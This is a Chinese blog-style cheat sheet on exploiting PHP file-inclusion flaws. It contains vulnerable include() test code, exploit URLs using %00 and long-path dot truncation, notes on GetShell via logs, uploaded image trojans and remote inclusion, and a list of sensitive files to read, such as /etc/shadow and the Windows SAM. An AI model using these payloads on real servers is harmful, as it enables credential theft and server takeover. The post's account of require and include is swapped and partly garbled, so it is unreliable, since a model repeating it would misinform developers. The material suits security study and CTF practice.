中国蓝

本地包含敏感文件

2019-01-03  本文已影响0人  陈望_ning
常用函数

.require()执行到include时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行
.require_once()若文件中代码已被包含则不会再次包含
.include()只要程序一运行就包含文件,找不到被包含文件时只产生致命错误,并停止脚本
.include_once()若文件中代码已被包含则不会再次包含

漏洞利用的条件

1.程序用include()等文件包含函数通过动态变量的范式引入需要包含的文件
2.用户能够控制该动态变量
3.要保证php.ini中allow_url_fopen和allow_url_include要为On

漏洞分类

本地包含
可以包含本地文件,条件与叙事能执行代码
读敏感文件,读PHP文件
包含日志文件GetShell
包含data:或php://input等伪协议
若有phpinfo则可以包含临时文件
配合图片上传图片马,然后包含从而GetShell
远程包含
包含远程木马或病毒文件,从而GetShell

要实现远程文件包含需要allow_url_fopen和allow_url_include都开启

绕过包含限制
%00截断

条件:allow_url_fopen=Off php版本<5.3.4
测试代码:

<?php
    $filename  = $_GET['filename'];
    include($filename . ".html");
?>

测试结果:

http://www.ctfs-wiki.com/FI/FI.php?filename=../../../../../../../boot.ini%00
长路径截断

条件:windows OS,点号需要长于256;linux OS长于4096。超出部分被截断

测试代码:

<?php
    $filename  = $_GET['filename'];
    include($filename . ".html");
?>

EXP:

http://www.ctfs-wiki.com/FI/FI.php?filename=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
点点点点点号截断

条件:windows OS,点号需要长于256;linux OS长于4096。超出部分被截断

测试代码:

<?php
    $filename  = $_GET['filename'];
    include($filename . ".html");
?>

EXP:

http://www.ctfs-wiki.com/FI/FI.php
?filename=test.txt.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

常见的敏感信息路径:

Windows系统

c:\boot.ini // 查看系统版本

c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件

c:\windows\repair\sam // 存储Windows系统初次安装的密码

c:\ProgramFiles\mysql\my.ini // MySQL配置

c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码

c:\windows\php.ini // php 配置信息

Linux/Unix系统

/etc/passwd // 账户信息

/etc/shadow // 账户密码文件

/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置

/usr/local/app/php5/lib/php.ini // PHP相关配置

/etc/httpd/conf/httpd.conf // Apache配置文件

/etc/my.conf // mysql 配置文件
上一篇下一篇

猜你喜欢

热点阅读